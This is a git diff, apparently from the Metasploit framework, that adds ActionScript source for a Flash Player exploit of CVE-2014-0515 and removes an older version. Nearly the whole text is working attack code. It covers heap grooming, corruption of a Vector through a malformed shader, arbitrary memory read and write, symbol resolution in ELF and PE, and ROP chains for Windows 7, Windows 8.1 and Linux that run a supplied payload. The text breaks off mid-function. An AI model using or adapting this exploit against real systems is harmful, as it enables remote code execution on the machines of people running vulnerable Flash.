diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf deleted file mode 100755 index aa30c2421e..0000000000 Binary files a/data/exploits/CVE-2014-0515/Graph.swf and /dev/null differ diff --git a/data/exploits/CVE-2014-0515/msf.swf b/data/exploits/CVE-2014-0515/msf.swf new file mode 100644 index 0000000000..06505fbe4b Binary files /dev/null and b/data/exploits/CVE-2014-0515/msf.swf differ diff --git a/external/source/exploits/CVE-2014-0515/Elf.as b/external/source/exploits/CVE-2014-0515/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploit.as b/external/source/exploits/CVE-2014-0515/Exploit.as new file mode 100755 index 0000000000..7270d46963 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploit.as @@ -0,0 +1,140 @@ +//compile with AIR SDK 13.0: mxmlc Exploit.as -o Exploit.swf +package { + import flash.display.Sprite + import flash.utils.ByteArray + import flash.display.Shader + import flash.system.Capabilities + import flash.utils.Endian + import __AS3__.vec.Vector + import __AS3__.vec.* + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite { + + protected var Shad:Class + private var uv:Vector. + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit(){ + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + var shader:Shader + if (platform == "linux") { + this.Shad = GraphShadLinux + } else { + this.Shad = GraphShadWindows + } + + super() + var i:* = 0 + var j:* = 0 + var offset:int = -1 + var corrupted_vector_idx:int = -1 + + // Memory massage + Logger.log("Memory massage") + var array_length:uint = 0x10000 + var vector_size:uint = 34 + var array:Array = new Array() + + i = 0 + while (i < array_length) + { + array[i] = new Vector.(vector_size) + i++; + } + + i = 0 + while (i < array_length) + { + array[i].length = 0 + i++ + } + + i = 0x0200 + while (i < array_length) + { + array[(i - (2 * (j % 2)))].length = 0x0100 + array[(i - (2 * (j % 2)))][0] = 0xdeedbeef + array[(i - (2 * (j % 2)))][1] = 0xdeadbeef + array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2))) + i = (i + 28) + j++ + } + + // Overflow and Search for corrupted vector + Logger.log("Overflow and Search for corrupted vector") + var shadba:ByteArray = (new this.Shad() as ByteArray) + shadba.position = 232 + if (Capabilities.os.indexOf("Windows 8") >= 0) + { + shadba.writeUnsignedInt(2472) + } + shadba.position = 0 + + Logger.log("corrupting") + + shader = new Shader() + try + { + shader.byteCode = (new this.Shad() as ByteArray); + } catch(e) { } + + i = 0 + while (i < array_length) + { + if (array[i].length > 0x0100) + { + corrupted_vector_idx = i + break + } + i++ + } + + if (corrupted_vector_idx == -1) { + Logger.log("Exploit - Corrupted vector not found.") + return + } + + for(i = 0; i < array[corrupted_vector_idx].length; i++) { + if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) { + Logger.log("w00t!, found, corrupting ") + array[corrupted_vector_idx][i] = 0xffffffff + offset = i + break + } + } + + if (offset == -1) { + Logger.log("Exploit - Secondary vector not corrupted") + return + } + + + for(i = 0; i < array.length; i++) { + if (array[i].length == 0xffffffff) { + Logger.log("super corrupted found") + uv = array[i] + Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) + uv[0x3ffffffc - offset] = 34 + Logger.log("corrupted vector before fixing : " + array[corrupted_vector_idx].length.toString()) + } + } + Logger.log('done? Exploiting!') + exploiter = new Exploiter(this, platform, os, payload, uv) +// uv[0x3ffffffe] = 0x100 +// Logger.log(uv.length.toString()) + } + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/ExploitByteArray.as b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/ExploitVector.as b/external/source/exploits/CVE-2014-0515/ExploitVector.as new file mode 100644 index 0000000000..d0283d803e --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x100 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Exploiter.as b/external/source/exploits/CVE-2014-0515/Exploiter.as new file mode 100644 index 0000000000..0a971409f6 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph.as b/external/source/exploits/CVE-2014-0515/Graph.as deleted file mode 100755 index ab64eb90cd..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph.as +++ /dev/null @@ -1,411 +0,0 @@ -//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf -package { - import flash.display.Sprite; - import flash.utils.ByteArray; - import flash.display.Shader; - import flash.system.Capabilities; - import flash.net.FileReference; - import flash.utils.Endian; - import __AS3__.vec.Vector; - import __AS3__.vec.*; - import flash.display.LoaderInfo; - - public class Graph extends Sprite { - - static var counter:uint = 0; - - protected var Shad:Class; - var shellcode_byte_array:ByteArray; - var aaab:ByteArray; - var shellcodeObj:Array; - - public function Graph(){ - var tweaked_vector:* = undefined; - var tweaked_vector_address:* = undefined; - var shader:Shader; - var flash_memory_protect:Array; - var code_vectors:Array; - var address_code_vector:uint; - var address_shellcode_byte_array:uint; - this.Shad = Graph_Shad; - super(); - shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); - var i:* = 0; - var j:* = 0; - - // Just one try - counter++; - if (counter > 1) - { - return; - }; - - // Memory massage - var array_length:uint = 0x10000; - var vector_size:uint = 34; - var array:Array = new Array(); - i = 0; - while (i < array_length) - { - array[i] = new Vector.(1); - i++; - }; - i = 0; - while (i < array_length) - { - array[i] = new Vector.(vector_size); - i++; - }; - i = 0; - while (i < array_length) - { - array[i].length = 0; - i++; - }; - i = 0x0200; - while (i < array_length) - { - array[(i - (2 * (j % 2)))].length = 0x0100; - i = (i + 28); - j++; - }; - - // Overflow and Search for corrupted vector - var corrupted_vector_idx:uint; - var shadba:ByteArray = (new this.Shad() as ByteArray); - shadba.position = 232; - if (Capabilities.os.indexOf("Windows 8") >= 0) - { - shadba.writeUnsignedInt(2472); - }; - shadba.position = 0; - while (1) - { - shader = new Shader(); - try - { - shader.byteCode = (new this.Shad() as ByteArray); - } catch(e) - { - }; - i = 0; - while (i < array_length) - { - if (array[i].length > 0x0100) - { - corrupted_vector_idx = i; - break; - }; - i++; - }; - if (i != array_length) - { - if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; - }; - array.push(new Vector.(vector_size)); - }; - - // Tweak the vector following the corrupted one - array[corrupted_vector_idx][vector_size] = 0x40000001; - tweaked_vector = array[(corrupted_vector_idx + 1)]; - - // repair the corrupted vector by restoring its - // vector object pointer and length - var vector_obj_addr:* = tweaked_vector[0x3fffffff]; - tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; - tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; - i = 0; - var val:uint; - while (true) - { - val = tweaked_vector[(0x40000000 - i)]; - if (val == 0x90001B) break; - i++; - }; - tweaked_vector_address = 0; - if (tweaked_vector[((0x40000000 - i) - 4)] > 0) - { - tweaked_vector[4] = 0x41414141; - tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); - }; - - // More memory massage, fill an array of FileReference objects - var file_reference_array:Array = new Array(); - i = 0; - while (i < 64) - { - file_reference_array[i] = new FileReference(); - i++; - }; - - var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); - var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); - var do_it:Boolean = true; - var memory_protect_ptr:uint; - var aaaq:uint; - if (do_it) - { - flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); - memory_protect_ptr = flash_memory_protect[0]; - aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment - code_vectors = this.createCodeVectors(0x45454545, 0x90909090); - address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); - this.fillCodeVectors(code_vectors); - tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call - tweaked_vector[4] = aaaq; - tweaked_vector[0] = 0x1000; // Length - tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address - - // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); - - // 1) Set memory as executable - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // 2) Execute shellcode - tweaked_vector[7] = address_code_vector; - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // Restore FileReference cancel function pointer - // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); - }; - } - - // returns the integer at memory address - // vector: vector with tweaked length - // vector_address: vector's memory address - // address: memory address to read - function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ - if (address >= vector_address) - { - return (vector[((address - vector_address) / 4)]); - }; - return (vector[(0x40000000 - ((vector_address - address) / 4))]); - } - - function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ - if (address >= vector_address) - { - vector[((address - vector_address) / 4)] = value; - } else - { - vector[(0x40000000 - ((vector_address - address) / 4))] = value; - }; - } - - function findFlashMemoryProtect(vector:*, 